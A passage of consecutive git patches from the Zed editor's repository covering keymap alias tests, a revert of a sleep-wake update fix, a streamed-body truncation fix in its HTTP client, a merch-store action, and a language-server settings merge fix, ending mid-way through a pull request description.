+                    keystrokes: &parse_keystrokes("alt-cmd-shift-c"),
+                    action_name: "workspace::CopyRelativePath",
+                    action_arguments: None,
+                },
+                target_keybind_source: KeybindSource::User,
+            },
+            r#"
+            [
+              {
+                "bindings": {
+                  "alt-cmd-shift-c": "workspace::CopyRelativePath"
+                }
+              }
+            ]
+            "#
+            .unindent(),
+        );
+    }
+
+    #[test]
+    fn test_keymap_update_deprecated_alias_binding() {
+        zlog::init_test();
+
+        // The keymap file entry uses a deprecated alias of the action, while the
+        // update target uses the canonical name (as reported by the loaded binding).
+        let deprecated_aliases = &[("editor::CopyRelativePath", "workspace::CopyRelativePath")];
+
+        check_keymap_update_with_deprecated_aliases(
+            r#"
+            [
+              {
+                "bindings": {
+                  "alt-cmd-shift-c": "editor::CopyRelativePath",
+                  "a": "foo::Bar"
+                }
+              }
+            ]
+            "#
+            .unindent(),
+            KeybindUpdateOperation::Remove {
+                target: KeybindUpdateTarget {
+                    context: None,
+                    keystrokes: &parse_keystrokes("alt-cmd-shift-c"),
+                    action_name: "workspace::CopyRelativePath",
+                    action_arguments: None,
+                },
+                target_keybind_source: KeybindSource::User,
+            },
+            r#"
+            [
+              {
+                "bindings": {
+                  "a": "foo::Bar"
+                }
+              }
+            ]
+            "#
+            .unindent(),
+            deprecated_aliases,
+        );
+
+        // Editing an alias entry should update it in place (rewriting it with the
+        // canonical name) instead of falling back to appending a new binding.
+        check_keymap_update_with_deprecated_aliases(
+            r#"
+            [
+              {
+                "bindings": {
+                  "alt-cmd-shift-c": "editor::CopyRelativePath"
+                }
+              }
+            ]
+            "#
+            .unindent(),
+            KeybindUpdateOperation::Replace {
+                target: KeybindUpdateTarget {
+                    context: None,
+                    keystrokes: &parse_keystrokes("alt-cmd-shift-c"),
+                    action_name: "workspace::CopyRelativePath",
+                    action_arguments: None,
+                },
+                source: KeybindUpdateTarget {
+                    context: None,
+                    keystrokes: &parse_keystrokes("ctrl-alt-c"),
+                    action_name: "workspace::CopyRelativePath",
+                    action_arguments: None,
+                },
+                target_keybind_source: KeybindSource::User,
+            },
+            r#"
+            [
+              {
+                "bindings": {
+                  "ctrl-alt-c": "workspace::CopyRelativePath"
+                }
+              }
+            ]
+            "#
+            .unindent(),
+            deprecated_aliases,
+        );
+    }
+
     #[test]
     fn test_keymap_remove() {
         zlog::init_test();

From b5c2d8a13f395bbdbaf9cb74bda16bbcb00414d1 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Thu, 2 Jul 2026 19:54:11 -0400
Subject: [PATCH 230/772] Revert "Fix hanging updates after system sleep
 (#60301)" (#60321)

This reverts commit 2882636c06923e58d83865ecc370bd0d8199d738.

This was causing Zed to crash immediately on startup with the following
error:

```
thread 'main' (74835290) panicked at /Users/maxdeviant/.cargo/git/checkouts/reqwest-dc13ba947e7b959e/c156624/src/async_impl/body.rs:365:33:
there is no reactor running, must be called from the context of a Tokio 1.x runtime
```

Closes FR-118.

Release Notes:

- Reverted https://github.com/zed-industries/zed/pull/60301
---
 crates/auto_update/src/auto_update.rs       | 28 ------------
 crates/gpui/src/app.rs                      | 47 ++++++++-------------
 crates/reqwest_client/src/reqwest_client.rs |  2 -
 3 files changed, 17 insertions(+), 60 deletions(-)

diff --git a/crates/auto_update/src/auto_update.rs b/crates/auto_update/src/auto_update.rs
index eb6afcfd67cea5..9786aa84d1622f 100644
--- a/crates/auto_update/src/auto_update.rs
+++ b/crates/auto_update/src/auto_update.rs
@@ -170,7 +170,6 @@ pub struct AutoUpdater {
     pending_poll: Option<Task<Option<()>>>,
     quit_subscription: Option<gpui::Subscription>,
     update_check_type: UpdateCheckType,
-    _wake_subscription: gpui::Subscription,
 }
 
 #[derive(Deserialize, Serialize, Clone, Debug)]
@@ -410,16 +409,6 @@ impl AutoUpdater {
         })
         .detach();
 
-        // A download or check that was in flight when the machine went to sleep
-        // is almost certainly riding a TCP connection that silently died during
-        // suspend, so it would otherwise appear to stall indefinitely.
-        let wake_subscription = cx.on_system_wake({
-            let this = cx.entity().downgrade();
-            move |cx| {
-                this.update(cx, |this, cx| this.restart_after_wake(cx)).ok();
-            }
-        });
-
         Self {
             status: AutoUpdateStatus::Idle,
             current_version,
@@ -427,26 +416,9 @@ impl AutoUpdater {
             pending_poll: None,
             quit_subscription,
             update_check_type: UpdateCheckType::Automatic,
-            _wake_subscription: wake_subscription,
         }
     }
 
-    fn restart_after_wake(&mut self, cx: &mut Context<Self>) {
-        // Only network phases can be safely restarted. `Installing` is a local
-        // operation (mounting a dmg, rsync, etc.) that must not be interrupted.
-        if !matches!(
-            self.status,
-            AutoUpdateStatus::Checking | AutoUpdateStatus::Downloading { .. }
-        ) {
-            return;
-        }
-
-        let check_type = self.update_check_type;
-        self.pending_poll.take();
-        self.status = AutoUpdateStatus::Idle;
-        self.poll(check_type, cx);
-    }
-
     pub fn start_polling(&self, cx: &mut Context<Self>) -> Task<Result<()>> {
         let poll_interval =
             ReleaseChannel::try_global(cx).map_or(POLL_INTERVAL, |channel| match channel {
diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index ab302a8f06d87f..e6ca25ecae075e 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -234,6 +234,23 @@ impl Application {
         self
     }
 
+    /// Invokes a handler when the system wakes from sleep.
+    pub fn on_system_wake<F>(&self, mut callback: F) -> &Self
+    where
+        F: 'static + FnMut(&mut App),
+    {
+        let this = Rc::downgrade(&self.0);
+        self.0
+            .borrow_mut()
+            .platform
+            .on_system_wake(Box::new(move || {
+                if let Some(app) = this.upgrade() {
+                    callback(&mut app.borrow_mut());
+                }
+            }));
+        self
+    }
+
     /// Returns a handle to the [`BackgroundExecutor`] associated with this app, which can be used to spawn futures in the background.
     pub fn background_executor(&self) -> BackgroundExecutor {
         self.0.borrow().background_executor.clone()
@@ -639,7 +656,6 @@ pub struct App {
     pub(crate) keystroke_interceptors: SubscriberSet<(), KeystrokeObserver>,
     pub(crate) keyboard_layout_observers: SubscriberSet<(), Handler>,
     pub(crate) thermal_state_observers: SubscriberSet<(), Handler>,
-    pub(crate) system_wake_observers: SubscriberSet<(), Handler>,
     pub(crate) release_listeners: SubscriberSet<EntityId, ReleaseListener>,
     pub(crate) global_observers: SubscriberSet<TypeId, Handler>,
     pub(crate) quit_observers: SubscriberSet<(), QuitHandler>,
@@ -763,7 +779,6 @@ impl App {
                 keystroke_interceptors: SubscriberSet::new(),
                 keyboard_layout_observers: SubscriberSet::new(),
                 thermal_state_observers: SubscriberSet::new(),
-                system_wake_observers: SubscriberSet::new(),
                 global_observers: SubscriberSet::new(),
                 quit_observers: SubscriberSet::new(),
                 restart_observers: SubscriberSet::new(),
@@ -820,18 +835,6 @@ impl App {
             }
         }));
 
-        platform.on_system_wake(Box::new({
-            let app = Rc::downgrade(&app);
-            move || {
-                if let Some(app) = app.upgrade() {
-                    let cx = &mut app.borrow_mut();
-                    cx.system_wake_observers
-                        .clone()
-                        .retain(&(), move |callback| (callback)(cx));
-                }
-            }
-        }));
-
         platform.on_quit(Box::new({
             let cx = Rc::downgrade(&app);
             move || {
@@ -1253,22 +1256,6 @@ impl App {
         subscription
     }
 
-    /// Invokes a handler when the system wakes from sleep.
-    pub fn on_system_wake<F>(&self, mut callback: F) -> Subscription
-    where
-        F: 'static + FnMut(&mut App),
-    {
-        let (subscription, activate) = self.system_wake_observers.insert(
-            (),
-            Box::new(move |cx| {
-                callback(cx);
-                true
-            }),
-        );
-        activate();
-        subscription
-    }
-
     /// Returns the appearance of the application's windows.
     pub fn window_appearance(&self) -> WindowAppearance {
         self.platform.window_appearance()
diff --git a/crates/reqwest_client/src/reqwest_client.rs b/crates/reqwest_client/src/reqwest_client.rs
index e654c6bf620817..60908d8a8d4f45 100644
--- a/crates/reqwest_client/src/reqwest_client.rs
+++ b/crates/reqwest_client/src/reqwest_client.rs
@@ -30,8 +30,6 @@ impl ReqwestClient {
         reqwest::Client::builder()
             .use_rustls_tls()
             .connect_timeout(Duration::from_secs(10))
-            // Bail out of a request whose body stops producing bytes entirely
-            .read_timeout(Duration::from_secs(30))
             // Detect and drop connections that have silently gone bad on a
             // flaky path (NAT timeouts, resets) instead of reusing them. A
             // stale reused HTTP/2 connection is a common source of

From 552fc9f3c3c775276c2ce3f0fb93f1f4c2c18ba6 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Thu, 2 Jul 2026 21:00:54 -0400
Subject: [PATCH 231/772] reqwest_client: Fix streamed request bodies being
 truncated (#60314)

StreamReader::poll_next dropped the reader it take()s whenever the read
returned Poll::Pending, so the next poll reported end-of-stream. And
poll_read_buf measured bytes via ReadBuf::filled(), which never advances
when the reader writes through initialize_unfilled(), so every read
counted as zero bytes. Together these made any AsyncBody::from_reader
request body (e.g. one backed by async_fs::File, which returns Pending
on its first read) upload as an empty or truncated body.

Keep the reader across Pending polls and use the byte count that
futures::AsyncRead::poll_read returns.



- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A

Co-authored-by: Marshall <marshall@zed.dev>
---
 crates/reqwest_client/src/reqwest_client.rs | 112 +++++++++++++++++---
 1 file changed, 98 insertions(+), 14 deletions(-)

diff --git a/crates/reqwest_client/src/reqwest_client.rs b/crates/reqwest_client/src/reqwest_client.rs
index 60908d8a8d4f45..066e95fc655990 100644
--- a/crates/reqwest_client/src/reqwest_client.rs
+++ b/crates/reqwest_client/src/reqwest_client.rs
@@ -156,7 +156,11 @@ impl futures::Stream for StreamReader {
         }
 
         match poll_read_buf(&mut reader, cx, &mut this.buf) {
-            Poll::Pending => Poll::Pending,
+            Poll::Pending => {
+                self.reader = Some(reader);
+
+                Poll::Pending
+            }
             Poll::Ready(Err(err)) => {
                 self.reader = None;
 
@@ -177,7 +181,7 @@ impl futures::Stream for StreamReader {
 
 /// Implementation from <https://docs.rs/tokio-util/0.7.12/src/tokio_util/util/poll_buf.rs.html>
 /// Specialized for this use case
-pub fn poll_read_buf(
+fn poll_read_buf(
     io: &mut Pin<Box<dyn futures::AsyncRead + Send + Sync>>,
     cx: &mut std::task::Context<'_>,
     buf: &mut BytesMut,
@@ -190,22 +194,22 @@ pub fn poll_read_buf(
         let dst = buf.chunk_mut();
 
         // Safety: `chunk_mut()` returns a `&mut UninitSlice`, and `UninitSlice` is a
-        // transparent wrapper around `[MaybeUninit<u8>]`.
+        // transparent wrapper around `[std::mem::MaybeUninit<u8>]`.
         let dst = unsafe { &mut *(dst as *mut _ as *mut [std::mem::MaybeUninit<u8>]) };
-        let mut buf = tokio::io::ReadBuf::uninit(dst);
-        let ptr = buf.filled().as_ptr();
-        let unfilled_portion = buf.initialize_unfilled();
+        let mut read_buf = tokio::io::ReadBuf::uninit(dst);
+        let unfilled_portion = read_buf.initialize_unfilled();
         // SAFETY: Pin projection
         let io_pin = unsafe { Pin::new_unchecked(io) };
-        std::task::ready!(io_pin.poll_read(cx, unfilled_portion)?);
-
-        // Ensure the pointer does not change from under us
-        assert_eq!(ptr, buf.filled().as_ptr());
-        buf.filled().len()
+        // `futures::AsyncRead` reports the byte count as the poll's return
+        // value; `read_buf.filled()` stays empty because the reader writes
+        // through the initialized slice without advancing the `ReadBuf`.
+        std::task::ready!(io_pin.poll_read(cx, unfilled_portion)?)
     };
 
-    // Safety: This is guaranteed to be the number of initialized (and read)
-    // bytes due to the invariants provided by `ReadBuf::filled`.
+    // Safety: `initialize_unfilled()` zero-initialized the entire spare
+    // capacity, so the first `n` bytes are initialized no matter how many the
+    // reader actually wrote, and `advance_mut` panics rather than exceeding
+    // the capacity if `n` overstates the slice length.
     unsafe {
         buf.advance_mut(n);
     }
@@ -286,10 +290,90 @@ impl http_client::HttpClient for ReqwestClient {
 
 #[cfg(test)]
 mod tests {
-    use http_client::{HttpClient, Url};
+    use std::io::{Read as _, Write as _};
+    use std::net::TcpListener;
+
+    use http_client::{AsyncBody, HttpClient, Method, Request as HttpRequest, Url};
 
     use crate::ReqwestClient;
 
+    /// Regression test: `StreamReader::poll_next` used to drop the reader it
+    /// `take()`s whenever the reader returned `Poll::Pending`, so the next
+    /// poll reported end-of-stream and streamed request bodies were silently
+    /// truncated. Readers backed by real I/O (e.g. `async_fs::File`) return
+    /// `Pending` on their very first read, so their uploads sent zero bytes.
+    #[test]
+    fn test_streamed_body_survives_pending_reader() {
+        let payload: Vec<u8> = (0..30_000usize).map(|byte| (byte % 251) as u8).collect();
+
+        let listener = TcpListener::bind("127.0.0.1:0").unwrap();
+        let address = listener.local_addr().unwrap();
+        let expected_payload = payload.clone();
+        let server = std::thread::spawn(move || {
+            let (mut stream, _) = listener.accept().unwrap();
+            let mut request = Vec::new();
+            let mut buffer = [0u8; 8192];
+            loop {
+                let read = stream.read(&mut buffer).unwrap();
+                assert_ne!(read, 0, "client closed the connection mid-request");
+                request.extend_from_slice(&buffer[..read]);
+                if let Some(position) = request.windows(4).position(|w| w == b"\r\n\r\n") {
+                    let body_start = position + 4;
+                    while request.len() - body_start < expected_payload.len() {
+                        let read = stream.read(&mut buffer).unwrap();
+                        assert_ne!(read, 0, "client closed the connection mid-body");
+                        request.extend_from_slice(&buffer[..read]);
+                    }
+                    assert_eq!(&request[body_start..], &expected_payload);
+                    break;
+                }
+            }
+            stream
+                .write_all(b"HTTP/1.1 200 OK\r\ncontent-length: 0\r\nconnection: close\r\n\r\n")
+                .unwrap();
+        });
+
+        // A reader that returns `Pending` before every chunk, like a reader
+        // backed by real I/O would.
+        struct PendingFirstReader {
+            data: std::io::Cursor<Vec<u8>>,
+            ready: bool,
+        }
+
+        impl futures::AsyncRead for PendingFirstReader {
+            fn poll_read(
+                mut self: std::pin::Pin<&mut Self>,
+                cx: &mut std::task::Context<'_>,
+                buf: &mut [u8],
+            ) -> std::task::Poll<std::io::Result<usize>> {
+                if self.ready {
+                    self.ready = false;
+                    std::task::Poll::Ready(self.data.read(buf))
+                } else {
+                    self.ready = true;
+                    cx.waker().wake_by_ref();
+                    std::task::Poll::Pending
+                }
+            }
+        }
+
+        let reader = PendingFirstReader {
+            data: std::io::Cursor::new(payload.clone()),
+            ready: false,
+        };
+
+        let client = ReqwestClient::new();
+        let request = HttpRequest::builder()
+            .method(Method::PUT)
+            .uri(format!("http://{address}/upload"))
+            .header("Content-Length", payload.len().to_string())
+            .body(AsyncBody::from_reader(reader))
+            .unwrap();
+        let response = futures::executor::block_on(client.send(request)).unwrap();
+        assert!(response.status().is_success());
+        server.join().unwrap();
+    }
+
     #[test]
     fn test_proxy_uri() {
         let client = ReqwestClient::new();

From 0346a17d097eabeb0f34f21f0a75fdd957bbf298 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miguel=20Raz=20Guzm=C3=A1n=20Macedo?= <miguel@zed.dev>
Date: Thu, 2 Jul 2026 23:59:13 -0600
Subject: [PATCH 232/772] Add zed: get merch command palette action (#60330)

Adds a `zed: get merch` command palette action that opens
https://merch.zed.dev/ in the system browser.

Just thought it'd be fun!

Release Notes:

- Added a `zed: get merch` action that opens the Zed merch store.
---
 crates/zed/src/zed.rs         | 6 ++++--
 crates/zed_actions/src/lib.rs | 2 ++
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 7e07e7f0f3fddc..22ba7cee3d410c 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -101,12 +101,13 @@ use workspace::{
 };
 use workspace::{Pane, notifications::DetachAndPromptErr};
 use zed_actions::{
-    About, OpenAccountSettings, OpenBrowser, OpenDocs, OpenServerSettings, OpenSettingsFile,
-    OpenStatusPage, OpenZedUrl, Quit,
+    About, GetMerch, OpenAccountSettings, OpenBrowser, OpenDocs, OpenServerSettings,
+    OpenSettingsFile, OpenStatusPage, OpenZedUrl, Quit,
 };
 
 const DOCS_URL: &str = "https://zed.dev/docs/";
 const STATUS_URL: &str = "https://status.zed.dev";
+const MERCH_URL: &str = "https://merch.zed.dev/";
 
 pub struct CrashHandler(pub Arc<crashes::Client>);
 
@@ -887,6 +888,7 @@ fn register_actions(
     workspace
         .register_action(|_, _: &OpenDocs, _, cx| cx.open_url(DOCS_URL))
         .register_action(|_, _: &OpenStatusPage, _, cx| cx.open_url(STATUS_URL))
+        .register_action(|_, _: &GetMerch, _, cx| cx.open_url(MERCH_URL))
         .register_action(
             |workspace: &mut Workspace,
              _: &input_latency_ui::DumpInputLatencyHistogram,
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index 8b2d0d45df7ee5..a11eca78e0b5d5 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -69,6 +69,8 @@ actions!(
         OpenLicenses,
         /// Opens the Zed status page.
         OpenStatusPage,
+        /// Opens the Zed merch store.
+        GetMerch,
         /// Opens the telemetry log.
         OpenTelemetryLog,
         /// Opens the performance profiler.

From f961889ad4d23ca0cf157a3f963bdb1159f27cce Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 3 Jul 2026 11:22:48 +0300
Subject: [PATCH 233/772] Fix excluded language servers starting nonetheless
 (#60000)

Despite the default Zed settings containing an exclusion for
`typescript-language-server`


https://github.com/zed-industries/zed/blob/632dcae287b799975b1518b2c4914509e90a5c90/assets/settings/default.json#L2372-L2377

it actually starts every time I open the `*.ts` file which is wrong.

Seems that the settings merging malfunctions hence the fix, but I have
some doubts as I do not recall seeing this bad thing before?

Before:
<img width="1728" height="1084" alt="before"
src="https://github.com/user-attachments/assets/89659cee-c83c-4c87-8977-d53fec11662e"
/>

After:
<img width="1728" height="1084" alt="after"
src="https://github.com/user-attachments/assets/69747fa8-f3ab-454c-90de-b81d1778c5c2"
/>

Release Notes:

- Fixed excluded language servers starting nonetheless
---
 crates/language/src/language_settings.rs |  16 +-
 crates/settings_content/src/language.rs  | 253 ++++++++++++++++++++++-
 2 files changed, 258 insertions(+), 11 deletions(-)

diff --git a/crates/language/src/language_settings.rs b/crates/language/src/language_settings.rs
index de67375ccccf71..1cf70338f46b1a 100644
--- a/crates/language/src/language_settings.rs
+++ b/crates/language/src/language_settings.rs
@@ -19,7 +19,8 @@ pub use settings::{
     AutoIndentMode, CompletionSettingsContent, EditPredictionDataCollectionChoice,
     EditPredictionPromptFormatContent, EditPredictionProvider, EditPredictionsMode, FormatOnSave,
     Formatter, FormatterList, InlayHintKind, LanguageSettingsContent, LineEndingSetting,
-    LspInsertMode, RewrapBehavior, ShowWhitespaceSetting, SoftWrap, WordsCompletionMode,
+    LspInsertMode, REST_OF_LANGUAGE_SERVERS, RewrapBehavior, ShowWhitespaceSetting, SoftWrap,
+    WordsCompletionMode,
 };
 use settings::{RegisterSetting, Settings, SettingsLocation, SettingsStore, merge_from::MergeFrom};
 use shellexpand;
@@ -276,9 +277,6 @@ pub struct PrettierSettings {
 }
 
 impl LanguageSettings {
-    /// A token representing the rest of the available language servers.
-    const REST_OF_LANGUAGE_SERVERS: &'static str = "...";
-
     pub fn for_buffer<'a>(buffer: &'a Buffer, cx: &'a App) -> Cow<'a, LanguageSettings> {
         Self::resolve(Some(buffer), None, cx)
     }
@@ -382,7 +380,7 @@ impl LanguageSettings {
         enabled_language_servers
             .into_iter()
             .flat_map(|language_server| {
-                if language_server.0.as_ref() == Self::REST_OF_LANGUAGE_SERVERS {
+                if language_server.0.as_ref() == REST_OF_LANGUAGE_SERVERS {
                     rest.clone()
                 } else {
                     vec![language_server]
@@ -1090,7 +1088,7 @@ mod tests {
         // A value of just `["..."]` is the same as taking all of the available language servers.
         assert_eq!(
             LanguageSettings::resolve_language_servers(
-                &[LanguageSettings::REST_OF_LANGUAGE_SERVERS.into()],
+                &[REST_OF_LANGUAGE_SERVERS.into()],
                 &available_language_servers,
             ),
             available_language_servers
@@ -1101,7 +1099,7 @@ mod tests {
             LanguageSettings::resolve_language_servers(
                 &[
                     "biome".into(),
-                    LanguageSettings::REST_OF_LANGUAGE_SERVERS.into(),
+                    REST_OF_LANGUAGE_SERVERS.into(),
                     "deno".into()
                 ],
                 &available_language_servers
@@ -1122,7 +1120,7 @@ mod tests {
                     "deno".into(),
                     "!typescript-language-server".into(),
                     "!biome".into(),
-                    LanguageSettings::REST_OF_LANGUAGE_SERVERS.into()
+                    REST_OF_LANGUAGE_SERVERS.into()
                 ],
                 &available_language_servers
             ),
@@ -1134,7 +1132,7 @@ mod tests {
             LanguageSettings::resolve_language_servers(
                 &[
                     "my-cool-language-server".into(),
-                    LanguageSettings::REST_OF_LANGUAGE_SERVERS.into()
+                    REST_OF_LANGUAGE_SERVERS.into()
                 ],
                 &available_language_servers
             ),
diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index 2e5ef23875e6b8..f31ef08e1d2381 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -54,10 +54,32 @@ impl merge_from::MergeFrom for AllLanguageSettingsContent {
 
         // A user's global settings override the default global settings and
         // all default language-specific settings.
-        //
         self.defaults.merge_from(&other.defaults);
+        let globally_disabled_servers = other.defaults.language_servers.as_ref().map(|servers| {
+            servers
+                .iter()
+                .filter(|entry| entry.starts_with('!'))
+                .cloned()
+                .collect::<Vec<_>>()
+        });
         for language_settings in self.languages.0.values_mut() {
+            let language_server_overrides = language_settings.language_servers.clone();
             language_settings.merge_from(&other.defaults);
+            if let Some(mut language_server_overrides) = language_server_overrides {
+                if let Some(disabled) = &globally_disabled_servers {
+                    let insert_before = language_server_overrides
+                        .iter()
+                        .position(|entry| entry == REST_OF_LANGUAGE_SERVERS)
+                        .unwrap_or(language_server_overrides.len());
+                    for disabled_server in disabled {
+                        if !language_server_overrides.contains(disabled_server) {
+                            language_server_overrides
+                                .insert(insert_before, disabled_server.clone());
+                        }
+                    }
+                }
+                language_settings.language_servers = Some(language_server_overrides);
+            }
         }
 
         // A user's language-specific settings override default language-specific settings.
@@ -390,6 +412,8 @@ pub enum SoftWrap {
     Bounded,
 }
 
+pub const REST_OF_LANGUAGE_SERVERS: &str = "...";
+
 /// The settings for a particular language.
 #[with_fallible_options]
 #[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
@@ -1157,7 +1181,7 @@ pub enum IndentGuideBackgroundColoring {
 #[cfg(test)]
 mod test {
 
-    use crate::{ParseStatus, fallible_options};
+    use crate::{ParseStatus, fallible_options, merge_from::MergeFrom};
 
     use super::*;
 
@@ -1228,6 +1252,231 @@ mod test {
         assert!(matches!(result, ParseStatus::Failed { .. }));
     }
 
+    #[test]
+    fn test_language_servers_merge_preserves_per_language_config() {
+        let mut base = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            languages: LanguageToSettingsMap(
+                [(
+                    "TypeScript".into(),
+                    LanguageSettingsContent {
+                        language_servers: Some(vec![
+                            "!typescript-language-server".into(),
+                            "vtsls".into(),
+                            REST_OF_LANGUAGE_SERVERS.into(),
+                        ]),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        let user = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec![
+                    "!tailwindcss-language-server".into(),
+                    "!eslint".into(),
+                    REST_OF_LANGUAGE_SERVERS.into(),
+                ]),
+                ..LanguageSettingsContent::default()
+            },
+            ..AllLanguageSettingsContent::default()
+        };
+
+        base.merge_from(&user);
+
+        let ts_servers = base.languages.0["TypeScript"]
+            .language_servers
+            .as_ref()
+            .unwrap();
+        assert_eq!(
+            ts_servers,
+            &vec![
+                "!typescript-language-server".to_string(),
+                "vtsls".to_string(),
+                "!eslint".to_string(),
+                "!tailwindcss-language-server".to_string(),
+                REST_OF_LANGUAGE_SERVERS.to_string(),
+            ]
+        );
+
+        let default_servers = base.defaults.language_servers.as_ref().unwrap();
+        assert_eq!(
+            default_servers,
+            &vec![
+                "!tailwindcss-language-server".to_string(),
+                "!eslint".to_string(),
+                REST_OF_LANGUAGE_SERVERS.to_string(),
+            ]
+        );
+    }
+
+    #[test]
+    fn test_language_servers_merge_no_per_language_config_uses_global() {
+        let mut base = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            languages: LanguageToSettingsMap(
+                [(
+                    "Rust".into(),
+                    LanguageSettingsContent {
+                        tab_size: Some(std::num::NonZeroU32::new(4).unwrap()),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        let user = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec!["!eslint".into(), REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            ..AllLanguageSettingsContent::default()
+        };
+
+        base.merge_from(&user);
+
+        let rust_servers = base.languages.0["Rust"].language_servers.as_ref().unwrap();
+        assert_eq!(
+            rust_servers,
+            &vec!["!eslint".to_string(), REST_OF_LANGUAGE_SERVERS.to_string(),]
+        );
+    }
+
+    #[test]
+    fn test_language_servers_merge_user_per_language_overrides() {
+        let mut base = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            languages: LanguageToSettingsMap(
+                [(
+                    "TypeScript".into(),
+                    LanguageSettingsContent {
+                        language_servers: Some(vec![
+                            "!typescript-language-server".into(),
+                            "vtsls".into(),
+                            REST_OF_LANGUAGE_SERVERS.into(),
+                        ]),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        let user = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec!["!eslint".into(), REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            languages: LanguageToSettingsMap(
+                [(
+                    "TypeScript".into(),
+                    LanguageSettingsContent {
+                        language_servers: Some(vec![
+                            "deno".into(),
+                            "!vtsls".into(),
+                            REST_OF_LANGUAGE_SERVERS.into(),
+                        ]),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        base.merge_from(&user);
+
+        let ts_servers = base.languages.0["TypeScript"]
+            .language_servers
+            .as_ref()
+            .unwrap();
+        assert_eq!(
+            ts_servers,
+            &vec![
+                "deno".to_string(),
+                "!vtsls".to_string(),
+                REST_OF_LANGUAGE_SERVERS.to_string(),
+            ]
+        );
+    }
+
+    #[test]
+    fn test_user_per_language_config_overrides_default_disables() {
+        let mut base = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            languages: LanguageToSettingsMap(
+                [(
+                    "TypeScript".into(),
+                    LanguageSettingsContent {
+                        language_servers: Some(vec![
+                            "!typescript-language-server".into(),
+                            "vtsls".into(),
+                            REST_OF_LANGUAGE_SERVERS.into(),
+                        ]),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        let user = AllLanguageSettingsContent {
+            languages: LanguageToSettingsMap(
+                [(
+                    "TypeScript".into(),
+                    LanguageSettingsContent {
+                        language_servers: Some(vec![
+                            "typescript-language-server".into(),
+                            REST_OF_LANGUAGE_SERVERS.into(),
+                        ]),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        base.merge_from(&user);
+
+        let ts_servers = base.languages.0["TypeScript"]
+            .language_servers
+            .as_ref()
+            .unwrap();
+        assert_eq!(
+            ts_servers,
+            &vec![
+                "typescript-language-server".to_string(),
+                REST_OF_LANGUAGE_SERVERS.to_string(),
+            ]
+        );
+    }
+
     #[test]
     fn test_prettier_options() {
         let raw_prettier = r#"{"allowed": false, "tabWidth": 4, "semi": false}"#;

From 4a3b763518c75c3d991985bd4eee822a56efc827 Mon Sep 17 00:00:00 2001
From: Chiel Robben <pephers@gmail.com>
Date: Fri, 3 Jul 2026 10:23:06 +0200
Subject: [PATCH 234/772] Add progress bar to "Downloading Zed Update..."
 button (#60294)

# Objective

On a few occasions I have been wondering if the Zed update download had
stalled, when in fact it's just taking a while. This PR adds a progress
bar to the "Downloading Zed Update..." button to give users feedback
that the download is indeed progressing.

## Solution

Add a custom progress bar inside the button. I tried reusing the
existing ProgressBar component but that has a fixed height of 8px which
caused the button to become taller.

## Testing

- Tested manually using the command palette `collab: simulate update
available` and stepping through the different UI states.
- Added unit test

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
